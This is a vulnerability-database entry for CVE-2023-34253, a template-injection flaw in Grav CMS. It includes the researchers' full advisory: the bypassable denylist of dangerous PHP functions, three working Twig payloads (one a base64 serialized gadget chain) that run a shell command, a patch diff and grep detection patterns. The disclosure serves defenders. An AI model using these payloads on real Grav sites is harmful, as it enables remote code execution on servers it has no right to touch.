CVE-2023-34253: Getgrav/grav Grav Server-side Template Injection (SSTI) Vulnerability
HIGHCVE-2023-34253 is a HIGH (CVSS 7.2) grav server-side template injection (ssti) vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves grav server-side template injection (ssti) via denylist bypass vulnerability. Remediation is available by upgrading affected packages to version 1.7.42.
CVE-2023-34253 at a Glance
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2023-34253
To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade getgrav/grav to 1.7.42
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/grav
How to Check if You Are Affected
To determine whether your application is affected by CVE-2023-34253, inspect your project dependencies for Getgrav/grav:
inspect dependencies for getgrav/grav
Analyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.42), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2023-34253 Affected Getgrav/grav Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav
|
Packagist |
< 1.7.42
|
1.7.42
|
References
Frequently Asked Questions
What is CVE-2023-34253?
Which Getgrav/grav versions are affected?
What version fixes CVE-2023-34253?
Is getgrav/grav affected?
What is the CVSS score of CVE-2023-34253?
What CWE is associated with CVE-2023-34253?
How can I check Packagist dependencies for CVE-2023-34253?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j3v8-v77f-fvgm",
"modified" : "2023-06-16T19:36:52Z",
"published" : "2023-06-16T19:36:52Z",
"aliases" : [ "CVE-2023-34253" ],
"summary" : "Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability",
"details" : "Hi, \n\nactually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability\n\n## Summary: \n| **Product** | Grav CMS |\n| ----------------------- | --------------------------------------------- |\n| **Vendor** | Grav |\n| **Severity** | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions** | <= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions** | v1.7.40 |\n| **Internal Identifier** | STAR-2023-0006 |\n| **CVE Identifier** | Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594 |\n| **CWE(s)** | CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System: \n**Base Score:** 7.2 (High) \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \n| **Metric** | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)** | Network |\n| **Attack Complexity (AC)** | Low |\n| **Privileges Required (PR)** | High |\n| **User Interaction (UI)** | None |\n| **Scope (S)** | Unchanged |\n| **Confidentiality \\(C)** | High |\n| **Integrity (I)** | High |\n| **Availability (A)** | High |\n\n## Product Overview: \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary: \nThe denylist introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details: \nIn addressing [CVE-2022-2073](https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66/), a denylist was introduced in commit [9d6a2d](https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83) to validate and ensure that dangerous functions could not be executed via injection of malicious templates.\n\nThe implementation of the denylist can be found in `Utils::isDangerousFunction()` within [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190):\n~~~php\n /**\n * @param string $name\n * @return bool\n */\n public static function isDangerousFunction(string $name): bool\n {\n static $commandExecutionFunctions = [\n 'exec',\n 'passthru',\n 'system',\n 'shell_exec',\n 'popen',\n 'proc_open',\n 'pcntl_exec',\n ];\n\n static $codeExecutionFunctions = [\n 'assert',\n 'preg_replace',\n 'create_function',\n 'include',\n 'include_once',\n 'require',\n 'require_once'\n ];\n\n static $callbackFunctions = [\n 'ob_start' => 0,\n 'array_diff_uassoc' => -1,\n 'array_diff_ukey' => -1,\n 'array_filter' => 1,\n 'array_intersect_uassoc' => -1,\n 'array_intersect_ukey' => -1,\n 'array_map' => 0,\n 'array_reduce' => 1,\n 'array_udiff_assoc' => -1,\n 'array_udiff_uassoc' => [-1, -2],\n 'array_udiff' => -1,\n 'array_uintersect_assoc' => -1,\n 'array_uintersect_uassoc' => [-1, -2],\n 'array_uintersect' => -1,\n 'array_walk_recursive' => 1,\n 'array_walk' => 1,\n 'assert_options' => 1,\n 'uasort' => 1,\n 'uksort' => 1,\n 'usort' => 1,\n 'preg_replace_callback' => 1,\n 'spl_autoload_register' => 0,\n 'iterator_apply' => 1,\n 'call_user_func' => 0,\n 'call_user_func_array' => 0,\n 'register_shutdown_function' => 0,\n 'register_tick_function' => 0,\n 'set_error_handler' => 0,\n 'set_exception_handler' => 0,\n 'session_set_save_handler' => [0, 1, 2, 3, 4, 5],\n 'sqlite_create_aggregate' => [2, 3],\n 'sqlite_create_function' => 2,\n ];\n\n static $informationDiscosureFunctions = [\n 'phpinfo',\n 'posix_mkfifo',\n 'posix_getlogin',\n 'posix_ttyname',\n 'getenv',\n 'get_current_user',\n 'proc_get_status',\n 'get_cfg_var',\n 'disk_free_space',\n 'disk_total_space',\n 'diskfreespace',\n 'getcwd',\n 'getlastmo',\n 'getmygid',\n 'getmyinode',\n 'getmypid',\n 'getmyuid'\n ];\n\n static $otherFunctions = [\n 'extract',\n 'parse_str',\n 'putenv',\n 'ini_set',\n 'mail',\n 'header',\n 'proc_nice',\n 'proc_terminate',\n 'proc_close',\n 'pfsockopen',\n 'fsockopen',\n 'apache_child_terminate',\n 'posix_kill',\n 'posix_mkfifo',\n 'posix_setpgid',\n 'posix_setsid',\n 'posix_setuid',\n ];\n\n if (in_array($name, $commandExecutionFunctions)) {\n return true;\n }\n\n if (in_array($name, $codeExecutionFunctions)) {\n return true;\n }\n\n if (isset($callbackFunctions[$name])) {\n return true;\n }\n\n if (in_array($name, $informationDiscosureFunctions)) {\n return true;\n }\n\n if (in_array($name, $otherFunctions)) {\n return true;\n }\n\n return static::isFilesystemFunction($name);\n }\n\n /**\n * @param string $name\n * @return bool\n */\n public static function isFilesystemFunction(string $name): bool\n {\n static $fileWriteFunctions = [\n 'fopen',\n 'tmpfile',\n 'bzopen',\n 'gzopen',\n // write to filesystem (partially in combination with reading)\n 'chgrp',\n 'chmod',\n 'chown',\n 'copy',\n 'file_put_contents',\n 'lchgrp',\n 'lchown',\n 'link',\n 'mkdir',\n 'move_uploaded_file',\n 'rename',\n 'rmdir',\n 'symlink',\n 'tempnam',\n 'touch',\n 'unlink',\n 'imagepng',\n 'imagewbmp',\n 'image2wbmp',\n 'imagejpeg',\n 'imagexbm',\n 'imagegif',\n 'imagegd',\n 'imagegd2',\n 'iptcembed',\n 'ftp_get',\n 'ftp_nb_get',\n ];\n\n static $fileContentFunctions = [\n 'file_get_contents',\n 'file',\n 'filegroup',\n 'fileinode',\n 'fileowner',\n 'fileperms',\n 'glob',\n 'is_executable',\n 'is_uploaded_file',\n 'parse_ini_file',\n 'readfile',\n 'readlink',\n 'realpath',\n 'gzfile',\n 'readgzfile',\n 'stat',\n 'imagecreatefromgif',\n 'imagecreatefromjpeg',\n 'imagecreatefrompng',\n 'imagecreatefromwbmp',\n 'imagecreatefromxbm',\n 'imagecreatefromxpm',\n 'ftp_put',\n 'ftp_nb_put',\n 'hash_update_file',\n 'highlight_file',\n 'show_source',\n 'php_strip_whitespace',\n ];\n\n static $filesystemFunctions = [\n // read from filesystem\n 'file_exists',\n 'fileatime',\n 'filectime',\n 'filemtime',\n 'filesize',\n 'filetype',\n 'is_dir',\n 'is_file',\n 'is_link',\n 'is_readable',\n 'is_writable',\n 'is_writeable',\n 'linkinfo',\n 'lstat',\n //'pathinfo',\n 'getimagesize',\n 'exif_read_data',\n 'read_exif_data',\n 'exif_thumbnail',\n 'exif_imagetype',\n 'hash_file',\n 'hash_hmac_file',\n 'md5_file',\n 'sha1_file',\n 'get_meta_tags',\n ];\n\n if (in_array($name, $fileWriteFunctions)) {\n return true;\n }\n\n if (in_array($name, $fileContentFunctions)) {\n return true;\n }\n\n if (in_array($name, $filesystemFunctions)) {\n return true;\n }\n\n return false;\n }\n~~~\n\nThe list of banned functions appears to be adapted from a [StackOverflow post](https://stackoverflow.com/a/3697776). While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation:\n1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, `unserialize()` and aliases of blocked functions, such as `ini_alter()`, are not being included in the denylist. \n2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using `filter('SYSTEM')` to trivially bypass the denylist validation check. \n3. Fully qualified names can be used when referencing functions, allowing `filter('\\system')` to trivially bypass the denylist validation checks. \n\n## Exploit Conditions: \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrative user account with the following permissions granted:\n - login access to Grav admin panel, and\n - page creation or update rights\n\n## Reproduction Steps: \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts > Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n * Login to Admin - Allowed\n * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http://<grav_installation>/admin/pages/home`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n ~~~twig\n // Method 1: Using unserialize() to trigger system('id') call\n // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system 'id'\n // {{ 'TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6NDp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6MTA6IgAqAGhhbmRsZXIiO3I6MTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoyOiJpZCI7czo1OiJsZXZlbCI7aTowO319czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czozOiJwb3MiO2k6MTtzOjY6InN5c3RlbSI7fX0=' | base64_decode | array | filter('unserialize') }}\n \n // Method 2: Trigger system('id') via case-insensitive function names\n {{ ['id'] | filter('System') }}\n \n // Method 3: Trigger system('id') via fully qualified names when referencing functions\n {{ ['id'] | filter('\\\\system') }}\n ~~~ \n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations: \nIt is recommended to review the list of functions, both default functions in PHP and user-defined functions, and include missing unsafe functions in the denylist. A non-exhaustive list of missing unsafe functions discovered is shown below:\n- `unserialize()`\n- `ini_alter()`\n- `simplexml_load_file()`\n- `simplexml_load_string()`\n- `forward_static_call()`\n- `forward_static_call_array()`\n\nThe `Utils::isDangerousFunction()` function in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to disallow usage of fully qualified names when specifying callables, as well as ensure that validation performed on the `$name` parameter is case-insensitive.\n\nFor example,\n~~~diff php\n...\nabstract class Utils\n{\n ...\n /**\n * @param string $name\n * @return bool\n */\n public static function isDangerousFunction(string $name): bool\n {\n ...\n+ if ($arrow instanceof Closure) {\n+ return false;\n+ }\n\n+ $name = strtolower($name);\n+ if (strpos($name, \"\\\\\") !== false) {\n+ return false;\n+ }\n\n if (in_array($name, $commandExecutionFunctions)) {\n return true;\n }\n\n if (in_array($name, $codeExecutionFunctions)) {\n return true;\n }\n\n if (isset($callbackFunctions[$name])) {\n return true;\n }\n\n if (in_array($name, $informationDiscosureFunctions)) {\n return true;\n }\n\n if (in_array($name, $otherFunctions)) {\n return true;\n }\n\n return static::isFilesystemFunction($name);\n }\n ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.\n\n## Detection Guidance: \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command: \n `grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(' /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command: \n `grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(' --include '*.doctrinecache.data' /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command: \n `grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|twig_array_(filter|map|reduce))\\s*\\(' /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command: \n `grep -Priz -e '(ini_alter|unserialize|simplexml_load_file|simplexml_load_string|forward_static_call|forward_static_call_array|\\|\\s*(filter|map|reduce))\\s*\\(' /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits: \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) & Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\nThe scheduled disclosure date is _**25th July, 2023**_. Disclosure at an earlier date is also possible if agreed upon by all parties. \n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report: \n1. **CVE-2023-30592**\n Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of unsafe functions, such as `unserialize()`, that are not blocked. This is a bypass of CVE-2022-2073.\n2. **CVE-2023-30593**\n Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of capitalised names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.\n3. **CVE-2023-30594**\n Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `Utils::isDangerousFunction()` and to achieve remote code execution via usage of fully-qualified names, supplied as strings, when referencing callables. This is a bypass of CVE-2022-2073.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.7.42"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-j3v8-v77f-fvgm"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-34253"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1952-L2190"
}, {
"type" : "WEB",
"url" : "https://huntr.dev/bounties/3ef640e6-9e25-4ecb-8ec1-64311d63fe66"
}, {
"type" : "WEB",
"url" : "https://www.github.com/getgrav/grav/commit/9d6a2dba09fd4e56f5cdfb9a399caea355bfeb83"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2023-06-16T19:36:52Z",
"nvd_published_at" : "2023-06-14T23:15:11Z"
}
}